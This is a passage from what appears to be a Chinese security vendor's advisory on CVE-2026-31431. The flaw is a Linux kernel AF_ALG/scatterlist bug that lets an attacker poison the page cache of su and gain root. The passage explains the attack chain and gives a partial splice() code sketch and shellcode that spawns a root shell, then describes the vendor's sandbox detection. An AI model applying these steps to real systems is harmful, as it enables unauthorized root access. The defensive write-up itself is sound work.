的密码验证逻辑从未被执行。</span></p></li></ul><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">天穹沙箱已针对该漏洞增加专项监控规则</span></strong><span leaf="">，能够实时捕获 AF_ALG + splice + execve 组合调用链，并记录攻击特征，辅助安全人员快速定位利用行为。</span></p><div data-role="title" data-tools="135编辑器" data-id="170437" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;align-items: center;"><div style="flex-shrink: 0;margin-right: -16px;z-index: 4;"><div style="background-color: #ffffff;border: 1px solid #2c80f5;border-radius: 100%;padding: 3px;box-sizing: border-box;"><p style="font-size: 16px;color: #ffffff;text-align: center;background-color: #2c80f5;width: 40px;height: 40px;display: flex;justify-content: center;align-items: center;border-radius: 100%;box-sizing:border-box;"><strong><span leaf=""><span textstyle="" style="font-size: 18px;">0</span></span></strong><strong data-original-title="" title=""><span leaf=""><span textstyle="" style="font-size: 18px;">2</span></span></strong></p></div></div><div style="width: 100%;max-width: 100% !important;box-sizing:border-box;" data-width="100%"><div style="background-color: #ebf7ff;padding: 12px 20px;box-sizing: border-box;"><p style="font-size: 16px;color: #2c80f5;text-align: left;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 18px;"> 漏洞信息</span></span></strong></p></div></div></div></div><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">漏洞编号：</span></strong><p><span leaf=""> CVE-2026-31431</span></p></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">影响组件：</span></strong><p><span leaf=""> Linux 内核 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">crypto/af_alg.c</span></code><span leaf=""> 及 scatterlist 处理逻辑。</span></p></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">影响版本：</span></strong><p><span leaf=""> Linux kernel 4.9 – 6.8（含）；引入点为 2017 年 scatterlist 合并优化（约 v4.9）；国产系统：kylin V10/V11 ARM64、UOS 20 x86_64、openEuler 22.03 SP2 ARM64 等均受影响；已于 6.9-rc1 修复。</span></p></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">漏洞类型：</span></strong><p><span leaf=""> 越界写入（Out-of-Bounds Write，CWE-787）；页缓存污染（Page Cache Poisoning）。</span></p></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">漏洞评分：</span></strong><p><span leaf=""> CVSS 3.1：</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">7.8</span></strong><span leaf="">（本地提权，无需特权，无需交互）。</span></p></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">补丁状态：</span></strong><p><span leaf=""> 上游已发布补丁，建议升级至 6.9+ 或应用厂商安全更新。</span></p></li></ul><div data-role="title" data-tools="135编辑器" data-id="170437" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;align-items: center;"><div style="flex-shrink: 0;margin-right: -16px;z-index: 4;"><div style="background-color: #ffffff;border: 1px solid #2c80f5;border-radius: 100%;padding: 3px;box-sizing: border-box;"><p style="font-size: 16px;color: #ffffff;text-align: center;background-color: #2c80f5;width: 40px;height: 40px;display: flex;justify-content: center;align-items: center;border-radius: 100%;box-sizing:border-box;"><strong><span leaf="">0</span></strong><strong data-original-title="" title=""><span leaf="">3</span></strong></p></div></div><div style="width: 100%;max-width: 100% !important;box-sizing:border-box;" data-width="100%"><div style="background-color: #ebf7ff;padding: 12px 20px;box-sizing: border-box;"><p style="font-size: 16px;color: #2c80f5;text-align: left;"><strong data-brushtype="text"><span leaf=""> 攻击全景：页缓存是如何被“偷梁换柱”的？</span></strong></p></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">1. 攻击概述</span></strong></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">为了实现无文件落地的内存提权，攻击者巧妙利用了 Linux 页缓存与 scatterlist 的特性：</span></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">打开 suid 文件并获取只读文件描述符（例如 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">/usr/bin/su</span></code><span leaf="">）；</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">通过 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">pipe + splice</span></code><span leaf=""> 零拷贝，将 su 的页缓存页引用”注入” AF_ALG 请求的 scatterlist；</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">触发 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">authencesn</span></code><span leaf=""> 等算法的越界写操作，4 字节 shellcode 片段被精准写入 su 页缓存；</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">调用 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">execve(&#34;/usr/bin/su&#34;)</span></code><span leaf="">，内核加载已被污染的页缓存，shellcode 以 root 权限执行。</span></p></li></ul><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">2. 攻击流程</span></strong></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="attack_workflow" class="rich_pages wxw-img" data-ratio="0.9409282700421941" data-type="png" data-w="711" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005488" src="https://wechat2rss.xlab.app/img-proxy/?k=14998288&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdtia9v2vp9CiceyA9DOcf798gyNdljxKqfqoc1O8Qnf0Wfy4FibBvOqSPh9SrpEcd11Vejb4a4g5k66EzqhzhjsdlL7IIqicJnT5Hg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图1 漏洞利用攻击流程</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">3. 核心数据结构：scatterlist</span></strong></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">Linux 内核使用 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">scatterlist</span></code><span leaf=""> 描述物理上不连续的内存块：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="cpp"><code><span leaf=""><span class="code-snippet__keyword">struct</span> <span class="code-snippet__title">scatterlist</span> {</span></code><br/><code><span leaf="">    <span class="code-snippet__type">unsigned</span> <span class="code-snippet__type">long</span> page_link;   <span class="code-snippet__comment">// 指向物理页</span></span></code><br/><code><span leaf="">    <span class="code-snippet__type">unsigned</span> <span class="code-snippet__type">int</span>  offset;      <span class="code-snippet__comment">// 页内偏移</span></span></code><br/><code><span leaf="">    <span class="code-snippet__type">unsigned</span> <span class="code-snippet__type">int</span>  length;      <span class="code-snippet__comment">// 这段数据的长度</span></span></code><br/><code><span leaf="">    <span class="code-snippet__type">dma_addr_t</span>    dma_address; <span class="code-snippet__comment">// DMA 映射后的总线地址</span></span></code><br/><code><span leaf="">};</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">多个 scatterlist 条目可通过 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">sg_chain()</span></code><span leaf=""> 串联，形成逻辑上连续的数据流。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">4. AF_ALG 与“就地优化”的致命缺陷</span></strong></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">2017 年的一次性能优化将 src 与 dst scatterlist 合并为同一链，省去一次内存拷贝：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">优化前：src → [用户数据页]      dst → [输出缓冲页]</span></code><br/><code><span leaf="">优化后：src = dst → [用户数据页 + 输出缓冲页，链在一起]</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">当用户通过 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">splice()</span></code><span leaf="">将</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">/usr/bin/su</span></code><span leaf="">的缓存页喂入 AF_ALG socket 时，内核的</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">af_alg_sendmsg</span></code><span leaf="">路径调用</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">iov_iter_get_pages()</span></code><span leaf="">直接获取</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">struct page *</span></code><span leaf="">指针，并用</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">sg_set_page()</span></code><span leaf="">插入 scatterlist，再通过</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">sg_chain()</span></code><span leaf="">追加到</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">dst</span></code><span leaf=""> 末尾。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">authencesn</span></code><span leaf=""> 算法在处理 ESN 时，需要写入 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">dst[assoclen + cryptlen]</span></code><span leaf=""> 位置。由于 scatterlist 已链式连接，写指针自然越过攻击者控制的缓冲区，滑入 su 的缓存页，实现 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">4 字节</span></strong><span leaf="">任意写入。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">5. splice() 零拷贝的“双刃剑”</span></strong></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="perl"><code><span leaf="">普通 <span class="code-snippet__keyword">read</span>() + <span class="code-snippet__keyword">write</span>()：</span></code><br/><code><span leaf="">  磁盘 → 页缓存 → 用户缓冲区 → 内核缓冲区          （两次拷贝）</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">splice</span>()：</span></code><br/><code><span leaf="">  磁盘 → 页缓存 ----------------------→ 目标fd    （零拷贝）</span></code><br/><code><span leaf="">                  直接传递页面引用</span></code><br/></pre></p><p><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">攻击者利用 splice 的逻辑示意：</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="nginx"><code><span leaf=""><span class="code-snippet__attribute">python</span></span></code><br/><code><span leaf="">r_fd, w_fd = os.pipe()</span></code><br/><code><span leaf="">os.splice(su_fd, w_fd, <span class="code-snippet__number">4096</span>)   <span class="code-snippet__comment"># su 的页缓存页进入 pipe</span></span></code><br/><code><span leaf="">os.splice(r_fd, alg_fd, <span class="code-snippet__number">4096</span>)  <span class="code-snippet__comment"># 页面引用送入 AF_ALG socket</span></span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">6. setuid 授权与页缓存执行的矛盾</span></strong></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">当内核处理 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">execve(&#34;/usr/bin/su&#34;)</span></code><span leaf=""> 时，分两步走：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">步骤 1：检查 suid 权限 ← 读取磁盘 inode 的文件属性（st_mode）  ✓ 合法</span></code><br/><code><span leaf="">步骤 2：加载并执行代码 ← 读取页缓存中的 ELF 内容               ✗ 已被污染</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">磁盘上的 su 文件属性完好无损，suid 位依然存在，内核合法地将进程 euid 提升为 0。但步骤 B 加载的却是已被 Copy Fail 替换过的页缓存版本。</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">内核从未意识到这两步之间存在矛盾</span></strong><span leaf="">，因为它没有机制去校验“授权的 suid 程序”和“从页缓存加载的代码”是否一致。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">7. shellcode 替换内容</span></strong></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">攻击者通过反复 4 字节写入 shellcode 到目标位置，植入的 shellcode 大致等价于：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">setuid</span>(<span class="code-snippet__number">0</span>);</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">setgid</span>(<span class="code-snippet__number">0</span>);</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">execve</span>(<span class="code-snippet__string">&#34;/bin/sh&#34;</span>, NULL, NULL);</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">当 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">execve(&#34;/usr/bin/su&#34;)</span></code><span leaf=""> 被调用后，CPU 入口点直接指向这段代码，在 euid=0 上下文中执行 root shell，整个 PAM 认证栈与 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">/etc/shadow</span></code><span leaf=""> 读取逻辑均未运行。</span></p><div data-role="title" data-tools="135编辑器" data-id="170437" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;align-items: center;"><div style="flex-shrink: 0;margin-right: -16px;z-index: 4;"><div style="background-color: #ffffff;border: 1px solid #2c80f5;border-radius: 100%;padding: 3px;box-sizing: border-box;"><p style="font-size: 16px;color: #ffffff;text-align: center;background-color: #2c80f5;width: 40px;height: 40px;display: flex;justify-content: center;align-items: center;border-radius: 100%;box-sizing:border-box;"><strong><span leaf=""><span textstyle="" style="font-size: 18px;">0</span></span></strong><strong data-original-title="" title=""><span leaf=""><span textstyle="" style="font-size: 18px;">4</span></span></strong></p></div></div><div style="width: 100%;max-width: 100% !important;box-sizing:border-box;" data-width="100%"><div style="background-color: #ebf7ff;padding: 12px 20px;box-sizing: border-box;"><p style="font-size: 16px;color: #2c80f5;text-align: left;"><strong data-brushtype="text"><span leaf=""> <span textstyle="" style="font-size: 18px;">天穹沙箱检测</span></span></strong></p></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">天穹沙箱具备基于行为序列的多阶段行为关联分析能力，能够有效检出 CVE-2026-31431 的漏洞触发（PoC）及利用（Exp）。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">Ubuntu 18.04 x86_64</span></strong></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: 